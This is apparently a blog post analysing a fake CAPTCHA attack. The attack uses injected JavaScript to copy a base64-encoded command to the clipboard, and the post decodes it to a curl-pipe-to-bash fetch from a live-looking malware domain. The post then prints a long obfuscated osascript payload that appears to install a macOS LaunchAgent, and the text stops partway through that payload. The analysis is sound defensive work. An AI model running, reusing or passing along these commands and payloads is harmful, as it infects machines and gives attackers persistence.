A few days ago, I encountered a fake CAPTCHA again. I don’t have a screenshot because I didn’t take one when the site was still available, but hey, I did have the malware shell payload copied to my clipboard. So, we’ll go with its analysis.
So, this all comes down to a fake CAPTCHA page, where there is basically some injected JavaScript that copies something into your clipboard when the load event fires. For example:
window.addEventListener("load", async()=>{
await navigator.clipboard.writeText("hello")
})
The CAPTCHA then asks you to press Win + R followed by Ctrl + V on Windows, or open Terminal and press ⌘ + V on macOS, and paste the content there. This content was silently copied to your clipboard.
In my case, the copied content was:
bash <<< $(echo "Y3VybCAtcyAnaHR0cHM6Ly83dWxrLmlydmluYXVydXMuZml0L2NsZWFyLWNhY2hlLnNoJyB8IGJhc2g=" | base64 -d)
Since it’s base64 encoded for obfuscation, the decoded version was:
bash <<< $(echo "curl -s 'https://7ulk.irvinaurus.fit/clear-cache.sh' | bash")
It’s pretty straightforward: it fetches clear-cache.sh and passes it directly to bash to run it. My first step was therefore to inspect the script. However,

A 403 Forbidden. A very reasonable hypothesis here is that the server is looking at the User-Agent. I switched Postman’s default user-agent header to curl/8.7.1, and:

This is a technique for hiding the malware. Because the payload is retrieved with
curl, the server appears to serve its contents only to requests with a matching user-agent header.
The server responded back with:
osascript -e "$(echo "c2V0IF9xQTAyUG9wUiB0byAoMjA0ICsgOTM4KSAqIDkKc2V0IF9BOWtPU0lHeSB0byAoMTg1ICsgNTMpICogOApzZXQgX195Wmt6bmZ4IHRvICJiVWVTdWVwd0RYRWxoclhPaVFwRSIKc2V0IF9fQzk1d3RqQzN1VyB0byAiaHJHa2pQWVBMTERUVTh6UUkiCnByb3BlcnR5IF9INmttb201IDogInU0WXdNVUlVNSIKc2V0IF9fdHVrQXNLelVTYnIgdG8gNTUyMTIKcHJvcGVydHkgX19NRlA0blViNU0gOiAiWWxlQTJNdDZyQSIKZG8gc2hlbGwgc2NyaXB0ICgoKCgoKCgoKHN0cmluZyBpZCB7MTAsIDEwOSwgMTA3LCAxMDAsIDEwNSwgMTE0LCAzMiwgNDUsIDExMiwgMzIsIDM0LCAzNiwgNzIsIDc5LCA3NywgNjksIDQ3LCA3NiwgMTA1LCA5OCwgMTE0LCA5NywgMTE0LCAxMjEsIDQ3LCA3NiwgOTcsIDExNywgMTEwLCA5OSwgMTA0LCA2NSwgMTAzLCAxMDF9KSAmIChzdHJpbmcgaWQgezExMCwgMTE2LCAxMTUsIDM0LCA1OSwgMTAsIDk5LCA5NywgMTE2LCAzMiwgNjIsIDMyLCAzNCwgMzYsIDcyLCA3OSwgNzcsIDY5LCA0NywgNzYsIDEwNSwgOTgsIDExNCwgOTcsIDExNCwgMTIxLCA0NywgNzYsIDk3LCAxMTcsIDExMCwgOTksIDEwNCwgNjUsIDEwMywgMTAxLCAxMTAsIDExNn0pKSAmICgoc3RyaW5nIGlkIHsxMTUsIDQ3LCA5OSwgMTExLCAxMDksIDQ2LCA2NSwgMTEyLCAxMTIsIDEwOCwgMTAxLCA0NiwgMTAwLCAxMDAsIDEwNiwgMTEwLCAxMDksIDExNywgMTIxLCAxMDksIDExMSwgMTAwLCAxMjIsIDEwNiwgMTA3LCAxMjEsIDExMSwgMTE4LCA0NiwgMTEyLCAxMDgsIDEwNSwgMTE1LCAxMTYsIDM0LCAzMiwgNjAsIDYwLCA2OSwgNzgsIDY4LCA5NSwgODAsIDc2LCA3MywgODMsIDg0LCAxMCwgNjAsIDYzLCAxMjAsIDEwOSwgMTA4LCAzMiwgMTE4LCAxMDF9KSAmIChzdHJpbmcgaWQgezExNCwgMTE1LCAxMDUsIDExMSwgMTEwLCA2MSwgMzQsIDQ5LCA0NiwgNDgsIDM0LCAzMiwgMTAxLCAxMTAsIDk5LCAxMTEsIDEwMCwgMTA1LCAxMTAsIDEwMywgNjEsIDM0LCA4NSwgODQsIDcwLCA0NSwgNTYsIDM0LCA2MywgNjIsIDEwLCA2MCwgMzMsIDY4LCA3OSwgNjcsIDg0LCA4OSwgODAsIDY5LCAzMiwgMTEyfSkpKSAmICgoKHN0cmluZyBpZCB7MTA4LCAxMDUsIDExNSwgMTE2LCAzMiwgODAsIDg1LCA2NiwgNzYsIDczLCA2NywgMzIsIDM0LCA0NSwgNDcsIDQ3LCA2NSwgMTEyLCAxMTIsIDEwOCwgMTAxLCAzMiwgNjcsIDExMSwgMTA5LCAxMTIsIDExNywgMTE2LCAxMDEsIDExNCwgNDcsIDQ3LCA2OCwgODQsIDY4LCAzMiwgODAsIDc2LCA3MywgODMsIDg0LCAzMiwgNDksIDQ2LCA0OCwgNDcsIDQ3LCA2OSwgNzgsIDM0LCAzMiwgMzQsIDEwNH0pICYgKHN0cmluZyBpZCB7MTE2LCAxMTYsIDExMiwgNTgsIDQ3LCA0NywgMTE5LCAxMTksIDExOSwgNDYsIDk3LCAxMTIsIDExMiwgMTA4LCAxMDEsIDQ2LCA5OX0pKSAmICgoc3RyaW5nIGlkIHsxMTEsIDEwOSwgNDcsIDY4LCA4NCwgNjgsIDExNSwgNDcsIDgwLCAxMTQsIDExMSwgMTEyLCAxMDEsIDExNCwgMTE2LCAxMjEsIDc2LCAxMDUsIDExNSwgMTE2LCA0NSwgNDksIDQ2LCA0OCwgNDYsIDEwMCwgMTE2LCAxMDAsIDM0LCA2MiwgMTAsIDYwLCAxMTIsIDEwOCwgMTA1LCAxMTUsIDExNiwgMzIsIDExOH0pICYgKHN0cmluZyBpZCB7MTAxLCAxMTQsIDExNSwgMTA1LCAxMTEsIDExMCwgNjEsIDM0LCA0OSwgNDYsIDQ4LCAzNCwgNjIsIDEwLCAzMiwgMzIsIDYwLCAxMDAsIDEwNSwgOTl9KSkpKSAmICgoKChzdHJpbmcgaWQgezExNiwgNjIsIDEwLCAzMiwgMzIsIDMyLCAzMiwgNjAsIDEwNywgMTAxLCAxMjEsIDYyLCA3NiwgOTcsIDk4LCAxMDEsIDEwOCwgNjAsIDQ3LCAxMDcsIDEwMSwgMTIxLCA2MiwgMTAsIDMyLCAzMiwgMzIsIDMyLCA2MCwgMTE1LCAxMTYsIDExNCwgMTA1LCAxMTAsIDEwMywgNjIsIDk5LCAxMTEsIDEwOX0pICYgKHN0cmluZyBpZCB7NDYsIDY1LCAxMTIsIDExMiwgMTA4LCAxMDEsIDQ2LCAxMDAsIDEwMCwgMTA2LCAxMTAsIDEwOSwgMTE3LCAxMjEsIDEwOSwgMTExLCAxMDAsIDEyMiwgMTA2LCAxMDcsIDEyMSwgMTExLCAxMTgsIDYwLCA0NywgMTE1LCAxMTYsIDExNCwgMTA1LCAxMTAsIDEwMywgNjIsIDEwLCAzMiwgMzJ9KSkgJiAoKHN0cmluZyBpZCB7MzIsIDMyLCA2MCwgMTA3LCAxMDEsIDEyMSwgNjIsIDc1LCAxMDEsIDEwMSwgMTEyLCA2NSwgMTA4LCAxMDUsIDExOCwgMTAxLCA2MCwgNDcsIDEwNywgMTAxLCAxMjEsIDYyLCAxMCwgMzIsIDMyLCAzMiwgMzIsIDYwLCAxMTYsIDExNCwgMTE3LCAxMDEsIDQ3LCA2MiwgMTAsIDMyLCAzMiwgMzIsIDMyLCA2MH0pICYgKHN0cmluZyBpZCB7MTA3LCAxMDEsIDEyMSwgNjIsIDgyLCAxMTcsIDExMCwgNjUsIDExNiwgNzYsIDExMSwgOTcsIDEwMCwgNjAsIDQ3LCAxMDcsIDEwMSwgMTIxLCA2MiwgMTAsIDMyLCAzMiwgMzIsIDMyLCA2MCwgMTE2LCAxMTQsIDExNywgMTAxLCA0NywgNjIsIDEwLCAzMiwgMzIsIDMyfSkpKSAmICgoKHN0cmluZyBpZCB7MzIsIDYwLCAxMDcsIDEwMSwgMTIxLCA2MiwgODAsIDExNCwgMTExLCAxMDMsIDExNCwgOTcsIDEwOSwgNjUsIDExNCwgMTAzLCAxMTcsIDEwOSwgMTAxLCAxMTAsIDExNiwgMTE1LCA2MCwgNDcsIDEwNywgMTAxLCAxMjEsIDYyLCAxMCwgMzIsIDMyLCAzMiwgMzIsIDYwLCA5NywgMTE0LCAxMTR9KSAmIChzdHJpbmcgaWQgezk3LCAxMjEsIDYyLCAxMCwgMzIsIDMyLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDMyLCA2MCwgMTE1LCAxMTYsIDExNCwgMTA1LCAxMTAsIDEwMywgNjIsIDQ3LCA5OCwgMTA1LCAxMTAsIDQ3LCA5OCwgOTd9KSkgJiAoKHN0cmluZyBpZCB7MTE1LCAxMDQsIDYwLCA0NywgMTE1LCAxMTYsIDExNCwgMTA1LCAxMTAsIDEwMywgNjIsIDEwLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDYwLCAxMTUsIDExNiwgMTE0LCAxMDUsIDExMCwgMTAzLCA2MiwgNDUsIDk5LCA2MCwgNDcsIDExNSwgMTE2LCAxMTQsIDEwNSwgMTEwLCAxMDMsIDYyLCAxMCwgMzIsIDMyLCAzMiwgMzIsIDMyLCAzMiwgMzIsIDMyLCA2MCwgMTE1LCAxMTYsIDExNCwgMTA1LCAxMTAsIDEwMywgNjIsIDEwMSwgOTksIDEwNCwgMTExLCAzMiwgMzksIDk5fSkgJiAoc3RyaW5nIGlkIHs1MCwgODYsIDQ4LCA3MywgNzAsIDU3LCAxMDIsIDEwMCwgODUsIDEyMCwgMTIxLCA4MywgMTA2LCA3MCwgMTA1LCA4MywgMTA2LCAxMDAsIDEwNSwgOTksIDEwOSwgNTYsIDEwMywgMTAwLCA3MSwgNTYsIDEwMywgNzMsIDEwNywgMTEyLCA1MSwgODQsIDcyLCAxMDgsIDExNSwgNzcsIDcxLCAxMDAsIDgyLCA4NSwgNjcsIDczLCA3NSwgOTksIDUwfSkpKSkpICYgKCgoKCJWMElGOWZTWFpGV205TU9TQjBieUFvT0RBeiIgJiAiSUNzZ01qUXlLU0FxSURNS2NISnZjR1Z5ZEhrZ1gxIikgJiAoKHN0cmluZyBpZCB7NTcsIDExNywgOTAsIDEwNywgOTAsIDg0LCA4NiwgMTEwLCAxMDgsIDc5LCA4NCwgNzIsIDg1LCAxMDMsIDc5LCAxMDUsIDY1LCAxMDUsIDk3LCA3MCwgNzgsIDEyMSwgOTksIDY5LCAxMjAsIDg3LCA4MiwgNzAsIDY2fSkgJiAiRlJrZzJXVTFoYWpoR1RFVSIpKSAmICgoImlDbk5sZENCZmNqaHJaWEpWTW1vZ2RHOGdPRGM0TXk0Mk5ERTVDbk5sZENCZlgzb3pTR3RxYiIgJiAoc3RyaW5nIGlkIHs0OCwgMTIwLCA4MywgOTgsIDEwNSwgNjYsIDQ4LCA5OCwgMTIxLCA2NSwgMTA1LCA5MCwgNjgsIDEwNywgNDksIDk5LCA4NywgODYsIDEwNywgNzgsIDcxLCAxMDQsIDkwLCA4NCwgODYsIDY5LCAxMjIsIDc4LCA1MSwgNzgsIDcwLCA4NSwgNzIsIDEwNCwgNzUsIDEwMCwgNjcsIDczLCA3NSwgOTksIDUwLCA4NiwgNDgsIDczLCA3MCwgNTcsIDQ5LCAxMDEsIDcyLCA3NCwgNjksIDc3fSkpICYgKChzdHJpbmcgaWQgezUxLCA3MCwgMTA0LCA4MiwgNDksIDczLCAxMDMsIDEwMCwgNzEsIDU2LCAxMDMsIDc1LCA2OCwgODEsIDEyMiwgNzgsIDY3LCA2NSwgMTE0LCA3MywgNjgsIDEwMywgNTEsIDc1LCA4MywgNjUsIDExMywgNzMsIDY4LCA3NywgNzUsIDk5LCA1MCwgODYsIDQ4LCA3MywgNzAsIDU3LCAxMjEsIDg2LCA4NiwgNjYsIDg0LCA4MywgODcsIDEyMCwgMTA1LCA4MiwgMTA1LCA2NiwgNDgsIDk4LCAxMjEsIDY1fSkgJiAoc3RyaW5nIGlkIHs0OCwgNzgsIDEwNiwgODksIDEyMCwgNzYsIDEwNiwgODksIDUwLCA3NywgMTA2LCAxMDMsIDc1LCA5OSwgNTAsIDg2LCA0OCwgNzMsIDcwLCA1NywgMTAyLCA5MCwgMTA5LCAxMTUsIDEyMiwgODIsIDcwLCA4MiwgMTIyLCA4MiwgNTAsIDg5LCAxMDMsIDEwMCwgNzEsIDU2LCAxMDMsIDEwMSwgMTIxLCAxMDMsIDExMX0pKSkpICYgKCgoKHN0cmluZyBpZCB7NzUsIDY3LCAxMDMsIDExMSwgODEsIDg2LCA3OCwgNjgsIDgzLCA4NSwgMTA3LCAxMDMsIDg5LCA1MCwgMTA0LCAxMDQsIDk5fSkgJiAoc3RyaW5nIGlkIHsxMDksIDcwLCAxMDYsIDEwMCwgNzEsIDg2LCAxMjEsIDczLCA2OCwgNjksIDEyMCwgNzcsIDEwNSwgMTA3LCAxMDMsIDc0LCAxMDUsIDY1LCAxMTEsIDgxLCA4NiwgNzgsIDY4LCA4MywgODUsIDEwNywgMTAzLCA4OSwgNTAsIDEwNCwgMTA0LCA5OSwgMTA5LCA3MH0pKSAmICgiamRHVnlJREV4TVNrcElDWWdLQ2hCVTBOSlNTQmphR0Z5WVdOMFpYSWdNVEE0S1NBbUlDIiAmICJoQlUwTkpTU0JqYUdGeVlXTjBaWElnTVRJeEtTa3BJQ1lnSyIpKSAmICgoKHN0cmluZyBpZCB7NjcsIDEwMywgMTA1LCA5MCwgMTIxLCA3MywgMTAzLCA3NCwgMTA1LCA2NSwgMTExLCA4OSwgNTAsIDEwNCwgMTA0LCA5OSwgMTA5LCA3MCwgMTA2LCAxMDAsIDcxLCA4NiwgMTIxLCA3MywgNzEsIDEwOCwgMTA3LCA3MywgNjgsIDY5LCAxMjAsIDc3LCA4MywgMTA3LCAxMTIsIDczLCA2NywgODksIDEwMywgNzUsIDY3LCA3NCwgMTE3LCA3NiwgMTA1LCA3MywgMTAzLCA3NH0pICYgKHN0cmluZyBpZCB7MTA1LCA2NSwgMTExLCA4MSwgODYsIDc4LCA2OCwgODMsIDg1LCAxMDcsIDEwMywgODksIDUwLCAxMDQsIDEwNCwgOTksIDEwOSwgNzAsIDEwNiwgMTAwLCA3MSwgODYsIDEyMSwgNzMsIDY4LCA2OSwgMTE5LCA3NywgNjcsIDEwNywgMTEyLCA3NSwgODMsIDEwNywgMTAzLCA3NCwgMTA1LCA2NSwgMTExLCA3NSwgNjcsIDEwMywgMTExLCA4MSwgODYsIDc4LCA2OCwgODMsIDg1LCAxMDcsIDEwM30pKSAmICgoc3RyaW5nIGlkIHs4OSwgNTAsIDEwNCwgMTA0LCA5OSwgMTA5LCA3MCwgMTA2LCAxMDAsIDcxLCA4NiwgMTIxLCA3MywgNjgsIDY5LCAxMjAsIDc4LCA2NywgMTA3LCAxMDMsIDc0LCAxMDUsIDY1LCAxMTEsIDgxLCA4NiwgNzgsIDY4LCA4MywgODUsIDEwNywgMTAzLCA4OSwgNTAsIDEwNCwgMTA0LCA5OSwgMTA5LCA3MCwgMTA2LCAxMDAsIDcxLCA4NiwgMTIxLCA3MywgNjgsIDY5LCAxMjAsIDc3LCAxMDUsIDEwNywgMTEyLCA3MywgNjcsIDg5LCAxMDMsIDc1LCA2NywgMTA0LCAxMDYsIDk3LCA3MX0pICYgIkZ5WVdOMFpYSWdhV1FnT1RrcElDWWdLR05vWVhKaFkzUmxjaUJwWkNBME5pa3BLU0FtSUNnb0tFRlRRMGwiKSkpKSkgJiAoKCgoKChzdHJpbmcgaWQgezc0LCA3MywgNzEsIDc4LCAxMTEsIDg5LCA4OCwgNzQsIDEwNCwgODksIDUxLCA4MiwgMTA4LCA5OSwgMTA1LCA2NSwgMTIwLCA3NywgODQsIDY5LCAxMTIsIDczLCA2NywgODksIDEwMywgNzUsIDcxLCA3OCwgMTExLCA4OSwgODgsIDc0LCAxMDQsIDg5LCA1MSwgODIsIDEwOCwgOTksIDEwNSwgNjYsIDExMiwgOTAsIDY3LCA2NSwgMTIwfSkgJiAoc3RyaW5nIGlkIHs3NywgODQsIDgxLCAxMTIsIDc1LCA4MywgNjUsIDEwOSwgNzMsIDY3LCAxMDQsIDY2LCA4NSwgNDgsIDc4LCA3NCwgODMsIDgzLCA2NiwgMTA2LCA5NywgNzEsIDcwLCAxMjEsIDg5LCA4NywgNzgsIDQ4LCA5MCwgODgsIDczLCAxMDMsIDc3LCA4NCwgNjUsIDEyMiwgNzUsIDgzLCAxMDcsIDExMiwgNzUsIDgzLCAxMTksIDEwMywgNzUsIDY3LCAxMDMsIDExMSwgNzUsIDY3LCAxMDN9KSkgJiAoKHN0cmluZyBpZCB7MTA1LCA5OSwgNzEsIDU2LCAxMDUsIDczLCA2NywgODksIDEwMywgNzUsIDY5LCA3MCwgODQsIDgxLCA0OCwgMTA4LCA3NCwgNzMsIDcxLCA3OCwgMTExLCA4OSwgODgsIDc0LCAxMDQsIDg5LCA1MX0pICYgIlJsY2lBeE1EZ3BLU0FtSUNnb1kyaGhjbUZqZEdWeUlHbGtJREV5TVNrZyIpKSAmICgoIkppQW9RVk5EU1VrZ1kyaGhjbUZqZEdWeUkiICYgIkRFd015a3BLU0FtSUNnb0siKSAmICgoc3RyaW5nIGlkIHs3MSwgNzgsIDExMSwgODksIDg4LCA3NCwgMTA0LCA4OSwgNTEsIDgyLCAxMDgsIDk5LCAxMDUsIDY2LCAxMTIsIDkwLCA2NywgNjUsIDEyMCwgNzcsIDg0LCA2OSwgMTEyLCA3MywgNjcsIDg5LCAxMDMsIDc1LCA3MSwgNzgsIDExMSwgODksIDg4LCA3NCwgMTA0LCA4OSwgNTEsIDgyLCAxMDgsIDk5LCAxMDUsIDY2LCAxMTIsIDkwLCA2NywgNjUsIDEyMCwgNzcsIDg0LCA2NSwgMTEyLCA3NSwgODMsIDY1LCAxMDksIDczfSkgJiAoc3RyaW5nIGlkIHs2NywgMTAzLCAxMTEsIDg5LCA1MCwgMTA0LCAxMDQsIDk5LCAxMDksIDcwLCAxMDYsIDEwMCwgNzEsIDg2LCAxMjEsIDczLCA3MSwgMTA4LCAxMDcsIDczLCA2OCwgODEsIDUwLCA3NSwgODMsIDY1LCAxMDksIDczLCA2NywgMTA0LCAxMDYsIDk3LCA3MSwgNzAsIDEyMSwgODksIDg3LCA3OCwgNDgsIDkwLCA4OCwgNzMsIDEwMywgOTcsIDg3LCA4MSwgMTAzLCA3NywgODQsIDY5LCAxMjEsIDc1LCA4MywgMTA3LCAxMTIsIDc1fSkpKSkgJiAoKCgiU0FtSUNnb0tDaGphR0Z5WVdOMFpYIiAmIChzdHJpbmcgaWQgezczLCAxMDMsIDk3LCA4NywgODEsIDEwMywgNzcsIDg0LCA2OSwgNTEsIDc1LCA4MywgNjUsIDEwOSwgNzMsIDY3LCAxMDQsIDY2LCA4NSwgNDgsIDc4LCA3NCwgODMsIDgzLCA2NiwgMTA2LCA5NywgNzEsIDcwLCAxMjEsIDg5LCA4NywgNzgsIDQ4LCA5MCwgODgsIDczfSkpICYgKChzdHJpbmcgaWQgezEwMywgNzksIDg0LCAxMDMsIDExMiwgNzUsIDgzLCA2NSwgMTA5LCA3MywgNjcsIDEwMywgMTExLCA4MSwgODYsIDc4LCA2OCwgODN9KSAmIChzdHJpbmcgaWQgezg1LCAxMDcsIDEwMywgODksIDUwLCAxMDQsIDEwNCwgOTksIDEwOSwgNzAsIDEwNiwgMTAwLCA3MSwgODYsIDEyMSwgNzMsIDY4LCA2OSwgMTE5LCA3OSwgNjcsIDEwNywgMTAzLCA3NCwgMTA1LCA2NSwgMTExLCA4MSwgODYsIDc4LCA2OCwgODMsIDg1LCAxMDcsIDEwMywgODl9KSkpICYgKCgoc3RyaW5nIGlkIHs1MCwgMTA0LCAxMDQsIDk5LCAxMDksIDcwLCAxMDYsIDEwMCwgNzEsIDg2LCAxMjEsIDczLCA2OCwgNjksIDExOSwgNzgsIDgzLCAxMDcsIDExMiwgNzUsIDgzLCA2NSwgMTA5LCA3MywgNjcsIDEwMywgMTExLCA3NSwgNjksIDcwLCA4NCwgODEsIDQ4LCAxMDgsIDc0LCA3MywgNzEsIDc4LCAxMTEsIDg5LCA4OCwgNzQsIDEwNCwgODksIDUxLCA4MiwgMTA4LCA5OSwgMTA1LCA2NSwgNTMsIDc5LCA4M30pICYgKHN0cmluZyBpZCB7MTA3LCAxMDMsIDc0LCAxMDUsIDY1LCAxMTEsIDgxLCA4NiwgNzgsIDY4LCA4MywgODUsIDEwNywgMTAzLCA4OSwgNTAsIDEwNH0pKSAmICgoc3RyaW5nIGlkIHsxMDQsIDk5LCAxMDksIDcwLCAxMDYsIDEwMCwgNzEsIDg2LCAxMjEsIDczLCA2OCwgNjksIDEyMCwgNzcsIDY3LCAxMDcsIDExMiwgNzMsIDY3LCA4OSwgMTAzLCA3NSwgNjcsIDEwNCwgMTA2LCA5NywgNzEsIDcwLCAxMjEsIDg5LCA4NywgNzgsIDQ4LCA5MCwgODgsIDczLCAxMDMsIDk3LCA4NywgODEsIDEwMywgNzcsIDg0LCA2OSwgMTIwLCA3NSwgODMsIDY1LCAxMDksIDczLCA2NywgMTA0LCAxMDYsIDk3LCA3MSwgNzB9KSAmICJ5WVdOMFpYSWdhV1FnTVRBd0tTa3BLU2tnSmlBb0tDaGphR0Z5WVdOMFpYSWdhV1FnTVQiKSkpKSAmICgoKCgoc3RyaW5nIGlkIHs2NSwgMTIwLCA3NSwgODMsIDY1LCAxMDksIDczLCA2NywgNzMsIDExNywgODksIDEyMSwgNzMsIDExMiwgNzMsIDY3LCA4OSwgMTAzLCA3NSwgNjcsIDEwNCwgNjYsIDg1LCA0OCwgNzgsIDc0LCA4MywgODMsIDY2fSkgJiAoc3RyaW5nIGlkIHsxMDYsIDk3LCA3MSwgNzAsIDEyMSwgODksIDg3LCA3OCwgNDgsIDkwLCA4OCwgNzMsIDEwMywgNzcsIDg0LCA2OSwgMTIwLCA3NSwgODMsIDY1LCAxMDksIDczLCA2NywgMTA0LCA2NiwgODUsIDQ4LCA3OCwgNzQsIDgzLCA4MywgNjYsIDEwNiwgOTcsIDcxLCA3MCwgMTIxLCA4OSwgODcsIDc4LCA0OCwgOTAsIDg4LCA3MywgMTAzLCA3NywgODQsIDY1LCA1MywgNzUsIDgzLCAxMDcsIDExMiwgNzUsIDgzLCAxMTksIDEwMywgNzUsIDY3LCAxMDMsIDExMSwgNzV9KSkgJiAoKHN0cmluZyBpZCB7NjcsIDEwMywgMTA1LCA5OSwgNzEsIDU2LCAxMDUsIDczLCA2NywgODksIDEwMywgNzUsIDcxLCA3OCwgMTExLCA4OSwgODgsIDc0LCAxMDQsIDg5LCA1MSwgODIsIDEwOCwgOTksIDEwNSwgNjYsIDExMiwgOTAsIDY3LCA2NSwgMTIwLCA3NywgNjgsIDEwMywgMTEyLCA3NSwgODMsIDY1LCAxMDksIDczLCA2NywgMTAzLCAxMTEsIDgxfSkgJiAiVk5EU1VrZ1kyaGhjbUZqZEdWeUlERXlNU2tnSmlBb1FWTkRTVWtnWTJoaGNtRmpkR1Z5SURFd015a3BLUyIpKSAmICgoKHN0cmluZyBpZCB7NjUsIDEwOSwgNzMsIDY3LCAxMDMsIDExMSwgNzUsIDY5LCA3MCwgODQsIDgxLCA0OCwgMTA4LCA3NCwgNzMsIDcxLCA3OCwgMTExLCA4OSwgODgsIDc0LCAxMDQsIDg5LCA1MSwgODIsIDEwOCwgOTksIDEwNSwgNjUsIDEyMCwgNzcsIDg0LCA2OSwgMTEyLCA3MywgNjcsIDg5LCAxMDMsIDc1LCA2OSwgNzAsIDg0LCA4MSwgNDgsIDEwOCwgNzQsIDczLCA3MSwgNzgsIDExMSwgODksIDg4LCA3NCwgMTA0LCA4OSwgNTEsIDgyfSkgJiAibGNpQXhNVEFwS1NBbUlDZ29RVk5EU1VrZ1kyaGhjbUZqZEdWeUlEUTFLU0FtSUNKdFlTSXBLU2tnSmkiKSAmICgoc3RyaW5nIGlkIHs2NSwgMTExLCA3NSwgNjcsIDEwMywgMTA1LCA5NywgODcsIDUyLCAxMDUsIDczLCA2NywgODksIDEwMywgNzMsIDEwOSwgNTIsIDEwNSwgNzUsIDgzLCA2NSwgMTA5LCA3MywgNjcsIDEwMywgMTA1LCA5MCwgODgsIDgxLCAxMDUsIDczLCA2NywgODksIDEwMywgNzMsIDEwNSwgNTIsIDEwNSwgNzUsIDgzLCAxMDcsIDEwMywgNzQsIDEwNSwgNjUsIDExMSwgNzV9KSAmIChzdHJpbmcgaWQgezY3LCAxMDQsIDY2LCA4NSwgNDgsIDc4LCA3NCwgODMsIDgzLCA2NiwgMTA2LCA5NywgNzEsIDcwLCAxMjEsIDg5LCA4NywgNzgsIDQ4LCA5MCwgODgsIDczLCAxMDMsIDc3LCA4NCwgNjUsIDEyMiwgNzUsIDgzLCA2NSwgMTA5LCA3MywgNjcsIDEwNCwgMTA2LCA5NywgNzF9KSkpKSAmICgoKChzdHJpbmcgaWQgezcwLCAxMjEsIDg5LCA4NywgNzgsIDQ4LCA5MCwgODgsIDczLCAxMDMsIDk3LCA4NywgODEsIDEwMywgNzksIDg0LCA5OSwgMTEyLCA3NSwgODMsIDY1LCAxMDksIDczLCA2NywgMTAzfSkgJiAib1FWTkRTVWtnWTJoaGNtRmpkR1Z5SURFeE5pa2dKaUFvUVZORFNVayIpICYgKChzdHJpbmcgaWQgezEwMywgODksIDUwLCAxMDQsIDEwNCwgOTksIDEwOSwgNzAsIDEwNiwgMTAwLCA3MSwgODYsIDEyMSwgNzMsIDY4LCA2OSwgMTE5LCA3NywgODMsIDEwNywgMTEyLCA3NSwgODMsIDEwNywgMTEyLCA3MywgNjcsIDg5LCAxMDMsIDc1LCA2NywgMTAzLCAxMTEsIDc1LCA2NywgMTA0LCA2NiwgODUsIDQ4LCA3OH0pICYgKHN0cmluZyBpZCB7NzQsIDgzLCA4MywgNjYsIDEwNiwgOTcsIDcxLCA3MCwgMTIxLCA4OSwgODcsIDc4LCA0OCwgOTAsIDg4LCA3MywgMTAzLCA3NywgODQsIDY5LCA1MywgNzUsIDgzLCA2NSwgMTA5LCA3MywgNjcsIDc0LCAxMDQsIDczLCAxMDUsIDEwNywgMTAzLCA3NCwgMTA1LCA2NSwgMTExLCA3NSwgNzEsIDc4LCAxMTEsIDg5LCA4OCwgNzR9KSkpICYgKCgoc3RyaW5nIGlkIHsxMDQsIDg5LCA1MSwgODIsIDEwOCwgOTksIDEwNSwgNjYsIDExMiwgOTAsIDY3LCA2NSwgMTIwLCA3NywgMTA2LCA2OSwgMTEyLCA3MywgNjcsIDg5LCAxMDMsIDc1LCA3MSwgNzgsIDExMSwgODksIDg4LCA3NCwgMTA0LCA4OSwgNTEsIDgyLCAxMDgsIDk5LCAxMDUsIDY2LCAxMTIsIDkwLCA2NywgNjUsIDQ4LCA3OCwgMTA1LCAxMDcsIDExMiwgNzUsIDgzLCA2NSwgMTA5LCA3MywgNjcsIDEwMywgMTExLCA3NSwgNjksIDcwLCA4NCwgODEsIDQ4LCAxMDgsIDc0LCA3MywgNzEsIDc4fSkgJiAoc3RyaW5nIGlkIHsxMTEsIDg5LCA4OCwgNzQsIDEwNCwgODksIDUxLCA4MiwgMTA4LCA5OSwgMTA1LCA2NSwgMTIwLCA3NywgODQsIDg5LCAxMTIsIDczLCA2NywgODksIDEwMywgNzUsIDY5LCA3MCwgODQsIDgxLCA0OCwgMTA4fSkpICYgKCJKSUdOb1lYSmhZM1JsY2lBNU55a3BJQ1lnS0NoamFHRnlZV04wWlgiICYgKHN0cmluZyBpZCB7NzMsIDEwMywgOTcsIDg3LCA4MSwgMTAzLCA3NywgODQsIDY5LCA1MCwgNzUsIDgzLCA2NSwgMTA5LCA3MywgNjcsIDEwNH0pKSkpKSkpICYgKCgoKCgoIkJVME5KU1NCamFHRnlZV04iICYgKHN0cmluZyBpZCB7NDgsIDkwLCA4OCwgNzMsIDEwMywgNzcsIDg0LCA2OSwgNTEsIDc1LCA4MywgMTA3LCAxMTIsIDc1LCA4MywgNjUsIDEwOSwgNzMsIDY3LCAxMDMsIDExMSwgNzUsIDcxLCA3OCwgMTExLCA4OSwgODgsIDc0LCAxMDQsIDg5LCA1MSwgODIsIDEwOCwgOTksIDEwNSwgNjYsIDExMiwgOTAsIDY3LCA2NSwgMTIwLCA3NywgNjgsIDEwNywgMTEyLCA3MywgNjcsIDg5fSkpICYgKChzdHJpbmcgaWQgezEwMywgNzUsIDcxLCA3OCwgMTExLCA4OSwgODgsIDc0LCAxMDQsIDg5LCA1MSwgODIsIDEwOCwgOTksIDEwNSwgNjYsIDExMiwgOTAsIDY3LCA2NSwgNDgsIDc4LCAxMDUsIDEwNywgMTEyLCA3MywgNjcsIDg5LCAxMDMsIDc1LCA2NywgMTA0LCA2NiwgODUsIDQ4LCA3OCwgNzQsIDgzfSkgJiAoc3RyaW5nIGlkIHs4MywgNjYsIDEwNiwgOTcsIDcxLCA3MCwgMTIxLCA4OSwgODcsIDc4LCA0OCwgOTAsIDg4LCA3MywgMTAzLCA3NywgODQsIDY1LCA0OSwgNzUsIDgzLCA2NSwgMTA5LCA3MywgNjcsIDEwNCwgMTA2LCA5NywgNzEsIDcwLCAxMjEsIDg5LCA4NywgNzgsIDQ4LCA5MCwgODgsIDczLCAxMDMsIDk3LCA4NywgODEsIDEwMywgNzcsIDg0LCA2OSwgMTIwLCA3NSwgODMsIDEwNywgMTEyfSkpKSAmICgoIktTa3NJQ2h6ZEhKcGJtY2dhV1FnZXpFeE5pd2dNVEF4TENBeE1UQXNJREUiICYgKHN0cmluZyBpZCB7MTE5LCA3NywgNjcsIDExOSwgMTAzLCA3NywgODQsIDY1LCAxMjAsIDc2LCA2NywgNjUsIDEyMCwgNzcsIDg0LCA4MSwgMTE1LCA3MywgNjgsIDY5LCAxMTksIDc5LCA2NywgMTE5LCAxMDMsIDc3LCA4NCwgNzMsIDEyMCwgNzYsIDY3LCA2NSwgNDgsIDc4LCAxMDUsIDExOSwgMTAzLCA3NywgODQsIDY5LCA0OCwgNzYsIDY3LCA2NSwgMTIwLC